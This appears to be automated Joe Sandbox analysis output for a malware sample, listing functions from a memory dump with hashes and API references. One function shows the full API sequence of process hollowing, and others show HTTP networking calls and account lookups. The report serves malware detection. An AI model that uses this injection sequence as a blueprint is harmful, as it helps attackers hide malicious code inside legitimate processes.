Opcode ID: 02f53fffad1f7b397d43658a05786445c31fa97e6ea7f8e60c36c2d816c2be84
Instruction ID: 97dbd7e5cd7e916e921953fcb89b8444b9537b813ba926b81d3841828ff81c64
Opcode Fuzzy Hash: 02f53fffad1f7b397d43658a05786445c31fa97e6ea7f8e60c36c2d816c2be84
Instruction Fuzzy Hash: 58111871A0420AAFCF09DF98E941D9B7BF5EF49304F054059F805AB251E770EA11CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0018ED56 Relevance: 1.6, APIs: 1, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0018F925: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0018E0E6,00000001,00000364,00000006,000000FF,?,?,00188272,?), ref: 0018F966

_free.LIBCMT ref: 0018EDC5

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: bbfaf170cd2aa4a5dd4654b786cba334a1d7a93fa1ef5963fa5f0812df2330b2
Instruction ID: 5b1aaec5da065aa3bde100db5619a4a7fafa96cf69f7b0c3d990e68e973aacaa
Opcode Fuzzy Hash: bbfaf170cd2aa4a5dd4654b786cba334a1d7a93fa1ef5963fa5f0812df2330b2
Instruction Fuzzy Hash: 23014972604316ABC320AF99D88599EFBD8EB053B0F11072AF455A76C0E7706E14CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00192621 Relevance: 1.5, APIs: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00192684

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 6d7cabbe3305cb9b6d011bf0e9d56addc9b4860a8407226052aa3c61f76cc774
Instruction ID: 220b024a5430d925be70ae50a670afcea26d6d01352108c0b288b364c8f0b971
Opcode Fuzzy Hash: 6d7cabbe3305cb9b6d011bf0e9d56addc9b4860a8407226052aa3c61f76cc774
Instruction Fuzzy Hash: B1014F72C00159BFCF01AFE89C01AEE7FB5AF18310F144166FD14E2191E7318A60DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0018F925 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0018E0E6,00000001,00000364,00000006,000000FF,?,?,00188272,?), ref: 0018F966

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cf7394bdb5f87271a4db9ab60c120c0a495cc1baacec06f98cc30baaf7db7742
Instruction ID: 6b2d630ab73d6048dc6bcfdf3b026f780564422faa01302877df4bb851c6be78
Opcode Fuzzy Hash: cf7394bdb5f87271a4db9ab60c120c0a495cc1baacec06f98cc30baaf7db7742
Instruction Fuzzy Hash: DDF0B431A55324B69B217E268C45B5B3788AF51778B15813AF814AA190CB30DE028FF0

Uniqueness

Uniqueness Score: -1.00%

Function 0018DB3C Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00188272,?,?,?,?,?,001720C3,?,?), ref: 0018DB6E

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e29ace123e6c6871c0d0a1baca146dbc98896e1205995caf6b92867cc1d589ac
Instruction ID: 9046275cc8f73b5129558c6d293a80e6279789381b422343e494a616ec9543a2
Opcode Fuzzy Hash: e29ace123e6c6871c0d0a1baca146dbc98896e1205995caf6b92867cc1d589ac
Instruction Fuzzy Hash: 52E06D3164432167DA213666BC01B9B3B98AF533B1F1B0125FC199A2D0CB60DE408FE5

Uniqueness

Uniqueness Score: -1.00%

Function 00192368 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00192758,?,?,00000000,?,00192758,00000000,0000000C), ref: 00192385

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2b3e3453b7f48f571e84b5e3ac404a8b73ba4537230cac7bc07a6b2792aba9ed
Instruction ID: e373011d8e74e797646891f33c7a3adb73f601fd64beee67aada991b3783da0e
Opcode Fuzzy Hash: 2b3e3453b7f48f571e84b5e3ac404a8b73ba4537230cac7bc07a6b2792aba9ed
Instruction Fuzzy Hash: 71D06C3200010DBBDF028F84ED46EDA3FAAFB48714F014010BA1856020C732E861AB95

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 001738C0 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 163injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 001738E6
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0017394B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00173964
GetThreadContext.KERNEL32(?,00000000), ref: 0017397F
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 001739A3
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 001739BE
GetProcAddress.KERNEL32(00000000), ref: 001739C5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 001739ED
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 00173A0E
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 00173A5A
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 00173A96
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 00173AB2
ResumeThread.KERNEL32(?,?,?,00000000), ref: 00173ABE
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000), ref: 00173ACC
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00173AED

Strings

, xrefs: 00173998
NtUnmapViewOfSection, xrefs: 001739B4
ntdll.dll, xrefs: 001739B9

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: $NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1522589568
Opcode ID: 7a46256a5bcb224ebe4f7ffac2c4bc985c6a1802b51ffd1ad3d40286e662abc1
Instruction ID: f842eb23c623f733e5c6c81335e5c7024779fa449038d1272313174a841eee8c
Opcode Fuzzy Hash: 7a46256a5bcb224ebe4f7ffac2c4bc985c6a1802b51ffd1ad3d40286e662abc1
Instruction Fuzzy Hash: 3B515D71640218AFDB21DF54DC4ABEAB7B8FF08701F144096F649AA590D7B2AA90CF64

Uniqueness

Uniqueness Score: -1.00%

Function 001786E2 Relevance: 13.8, APIs: 9, Instructions: 341networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(001A3F6C,00000000,00000000,00000000,00000000), ref: 0017871C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00178740
HttpOpenRequestA.WININET(?,00000000), ref: 0017878A
HttpSendRequestA.WININET(?,00000000), ref: 0017884A
InternetReadFile.WININET(?,?,000003FF,?), ref: 001788FC
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 001789B0
InternetCloseHandle.WININET(?), ref: 001789D7
InternetCloseHandle.WININET(?), ref: 001789DF
InternetCloseHandle.WININET(?), ref: 001789E7

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID:
API String ID: 1354133546-0
Opcode ID: 6e09f7f2c4adaa3db8c8b0a72ef77698a78ec288980516f63eb840363bd6bd83
Instruction ID: 01d7a44be0a1f32421fc51c5334ad7977e9fce7b73b14e82e14cdfa9b1bb6882
Opcode Fuzzy Hash: 6e09f7f2c4adaa3db8c8b0a72ef77698a78ec288980516f63eb840363bd6bd83
Instruction Fuzzy Hash: C8C1E1B1A101189BEB28DF28CC88BADBB75EF55304F5081A9F50D97291DB719BC0CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00193C76 Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00193CF8
_free.LIBCMT ref: 00193D1C
_free.LIBCMT ref: 00193EA9
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,001A2620), ref: 00193EBB
_free.LIBCMT ref: 00194075

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 04df01611913ea430e6d2a8491219866604c3ec2db47d881fc8c5336a7e4b38f
Instruction ID: 7b4f982e724ece59c581138f35f666abdd52334180569f1fb6ca2673adf6f177
Opcode Fuzzy Hash: 04df01611913ea430e6d2a8491219866604c3ec2db47d881fc8c5336a7e4b38f
Instruction Fuzzy Hash: 16C13871E00205AFDF25AF68CC55AAABBF9EF56310F54015AF461D7282E7308F41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00187AFC Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00187B12

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 97fc77e52dbaa3ee078f65ad2df91bf732c241346671a76fcafe428ec58bfceb
Instruction ID: 38f77f277944127ef512c3ff29e55f8150a2289e3593d7c860a62d03380dcdee
Opcode Fuzzy Hash: 97fc77e52dbaa3ee078f65ad2df91bf732c241346671a76fcafe428ec58bfceb
Instruction Fuzzy Hash: 9D515CB1A04216CBDB25CF69D9857AEB7F1FB48310F24896AD406EB790D774DA80CF90

Uniqueness

Uniqueness Score: -1.00%

Function 001730E0 Relevance: 27.2, APIs: 18, Instructions: 210memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 00173132
GetProcessHeap.KERNEL32(00000008,?), ref: 00173147
HeapAlloc.KERNEL32(00000000), ref: 0017314A
GetUserNameW.ADVAPI32(00000000,?), ref: 00173158
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 0017317B
GetProcessHeap.KERNEL32(00000008,?), ref: 00173186
HeapAlloc.KERNEL32(00000000), ref: 00173189
GetProcessHeap.KERNEL32(00000008,?), ref: 00173199
HeapAlloc.KERNEL32(00000000), ref: 0017319C
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 001731C6
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 001731D9
GetProcessHeap.KERNEL32(00000000,?), ref: 001732D5
HeapFree.KERNEL32(00000000), ref: 001732DE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 001732E3
HeapFree.KERNEL32(00000000), ref: 001732E6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 001732ED
HeapFree.KERNEL32(00000000), ref: 001732F0
LocalFree.KERNEL32(00000000), ref: 001732F5

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: a35938aca4163fa8474e207e4bb68b11e0ba5c2fbe137d7c32696f41c8155a9f
Instruction ID: c82a6e10232c7c9425ed0ba03e745cb3560590fbcc9eb95b4107840a6bb7fbbd
Opcode Fuzzy Hash: a35938aca4163fa8474e207e4bb68b11e0ba5c2fbe137d7c32696f41c8155a9f
Instruction Fuzzy Hash: 557172B1E00209AFDB14DFA4DC89BAFBBB8FF44300F14851AF915A7281DB749A45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001916C1 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00191705

Part of subcall function 0019129E: _free.LIBCMT ref: 001912BB
Part of subcall function 0019129E: _free.LIBCMT ref: 001912CD
Part of subcall function 0019129E: _free.LIBCMT ref: 001912DF
Part of subcall function 0019129E: _free.LIBCMT ref: 001912F1
Part of subcall function 0019129E: _free.LIBCMT ref: 00191303
Part of subcall function 0019129E: _free.LIBCMT ref: 00191315
Part of subcall function 0019129E: _free.LIBCMT ref: 00191327
Part of subcall function 0019129E: _free.LIBCMT ref: 00191339
Part of subcall function 0019129E: _free.LIBCMT ref: 0019134B
Part of subcall function 0019129E: _free.LIBCMT ref: 0019135D
Part of subcall function 0019129E: _free.LIBCMT ref: 0019136F
Part of subcall function 0019129E: _free.LIBCMT ref: 00191381
Part of subcall function 0019129E: _free.LIBCMT ref: 00191393

_free.LIBCMT ref: 001916FA

Part of subcall function 0018D653: HeapFree.KERNEL32(00000000,00000000,?,0019142F,?,00000000,?,?,?,00191456,?,00000007,?,?,00191858,?), ref: 0018D669
Part of subcall function 0018D653: GetLastError.KERNEL32(?,?,0019142F,?,00000000,?,?,?,00191456,?,00000007,?,?,00191858,?,?), ref: 0018D67B

_free.LIBCMT ref: 0019171C
_free.LIBCMT ref: 00191731
_free.LIBCMT ref: 0019173C
_free.LIBCMT ref: 0019175E
_free.LIBCMT ref: 00191771
_free.LIBCMT ref: 0019177F
_free.LIBCMT ref: 0019178A
_free.LIBCMT ref: 001917C2
_free.LIBCMT ref: 001917C9
_free.LIBCMT ref: 001917E6
_free.LIBCMT ref: 001917FE

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: f75c1e0e3e474880cd78b6fd3bea38bae0b30d227e3a768090d22062b217b5f6
Instruction ID: 64fe9be8bbece1139b09847ab978bb3aec10a7686827d538d84da6aa9ee23ca3
Opcode Fuzzy Hash: f75c1e0e3e474880cd78b6fd3bea38bae0b30d227e3a768090d22062b217b5f6
Instruction Fuzzy Hash: C6314C35600307AFEF25AEB9E845B5A73E9AF10750F64842AF459D7191EF70AEC0CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00188BC7 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00188CC2
type_info::operator==.LIBVCRUNTIME ref: 00188CE9
___TypeMatch.LIBVCRUNTIME ref: 00188DF5
IsInExceptionSpec.LIBVCRUNTIME ref: 00188ED0
_UnwindNestedFrames.LIBCMT ref: 00188F57
CallUnexpected.LIBVCRUNTIME ref: 00188F72

Strings

csm, xrefs: 00188D20
csm, xrefs: 00188C02
csm, xrefs: 00188C6F

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 1ad1391190da69a85a35bf28da5e9e2b8ed4de83f6ad3c585741270c3d253052
Instruction ID: 32152ed2baec11adf39e76d556fc20a774f80e08bda07b20355c5592db4c82bf
Opcode Fuzzy Hash: 1ad1391190da69a85a35bf28da5e9e2b8ed4de83f6ad3c585741270c3d253052
Instruction Fuzzy Hash: F7C14B71800209EFCF29FF94D8819AEBBB5BF24310F94455AE815AB252DB31DB51CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0018DE2C Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0018DE42

Part of subcall function 0018D653: HeapFree.KERNEL32(00000000,00000000,?,0019142F,?,00000000,?,?,?,00191456,?,00000007,?,?,00191858,?), ref: 0018D669
Part of subcall function 0018D653: GetLastError.KERNEL32(?,?,0019142F,?,00000000,?,?,?,00191456,?,00000007,?,?,00191858,?,?), ref: 0018D67B

_free.LIBCMT ref: 0018DE4E
_free.LIBCMT ref: 0018DE59
_free.LIBCMT ref: 0018DE64
_free.LIBCMT ref: 0018DE6F
_free.LIBCMT ref: 0018DE7A
_free.LIBCMT ref: 0018DE85
_free.LIBCMT ref: 0018DE90
_free.LIBCMT ref: 0018DE9B
_free.LIBCMT ref: 0018DEA9

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c9eadde83fd202b908992afe5b6e58af79a564afdc35989d0e75a476b1afdf7d
Instruction ID: 4b627d99e31cf64fc3c536f42644743640bcfb2a5eba7e326e9b4ba15f12708e
Opcode Fuzzy Hash: c9eadde83fd202b908992afe5b6e58af79a564afdc35989d0e75a476b1afdf7d
Instruction Fuzzy Hash: A521B67690420DAFCB01EF94D881DDE7BB9BF18740B5081A6F6199B161EB71EB84CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00195642 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57efc23b4e29317a9de391637d0cd73011edad85a1f89b8c1fc195e1451e8222
Instruction ID: 0017fb8887b384d0196ce160c825324003e00269b15928a80f556730cd749a69
Opcode Fuzzy Hash: 57efc23b4e29317a9de391637d0cd73011edad85a1f89b8c1fc195e1451e8222
Instruction Fuzzy Hash: E4C1F171E04649EFEF16DF99C880BAEBBB2AF59314F144059E505AB392C7309A81CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00190AD9 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00190B03
_free.LIBCMT ref: 00190BDC
_free.LIBCMT ref: 00190C09

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 3ee45ce07e56e285b40f6bb273311f8633759f17d448ff5808568e08beb269d8
Instruction ID: 2c058718565253f54cae0acf16be6f78512b382cd8048863e5b6db4fda028476
Opcode Fuzzy Hash: 3ee45ce07e56e285b40f6bb273311f8633759f17d448ff5808568e08beb269d8
Instruction Fuzzy Hash: 7F514870D44345AFDF22BFB89881A6D7BF4EF09714F1042AEF91597281EB319A80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00188570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001885A7
___except_validate_context_record.LIBVCRUNTIME ref: 001885AF
_ValidateLocalCookies.LIBCMT ref: 00188638
__IsNonwritableInCurrentImage.LIBCMT ref: 00188663
_ValidateLocalCookies.LIBCMT ref: 001886B8

Strings

csm, xrefs: 0018864D

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b85e8a3e806bb793cc8a4ac79f178dd93a669427a8b53a46c27ee7763ca83814
Instruction ID: b54929deed32a03bf7ded0de3e8fcee083f649701bac28419416819c0c35aa71
Opcode Fuzzy Hash: b85e8a3e806bb793cc8a4ac79f178dd93a669427a8b53a46c27ee7763ca83814
Instruction Fuzzy Hash: A441D734A00218EBCF10FF68C884AAEBBB5EF55324F648155E8159B392EB31DB05CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0018E1FE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 0018E269
api-ms-, xrefs: 0018E255

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

